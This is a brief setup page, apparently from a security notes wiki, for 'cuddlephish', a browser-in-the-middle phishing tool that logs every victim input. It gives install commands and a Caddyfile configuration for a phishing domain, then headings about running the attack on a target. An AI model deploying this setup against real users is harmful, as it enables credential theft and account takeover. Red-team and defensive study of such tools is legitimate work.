search
SecurityVulnerabilityTerminalCode

cuddlephish

Weaponized Browser-in-the-Middle (BitM). Stream a video of your browser to the user’s browser and log every input.

hashtag
Setup

git clone https://github.com/fkasler/cuddlephish
cd cuddlephish
sudo bash install_deps.sh

Edit Caddyfile with your domain and Gandi (or other registrar) API key.

Caddyfile
(proxy_upstream) {
    <REDACTED>
}
# Personal Domain (just modify the domain and API key)
myphishingsite.com *.myphishingsite.com {
       tls {
               dns gandi GANDI_API_KEY
       }
       # Use the proxy_upstream code snippet (defined above)
       import proxy_upstream
}

# Local
127.0.0.1:<MYPORT> {
        tls internal
        import proxy_upstream
}

Edit config.json with with a more secure socket key and your own IP to be whitelisted to access the admin portal.

Run docker app

Run the attack module on a target

For the victim:

Console Admin:

Last updated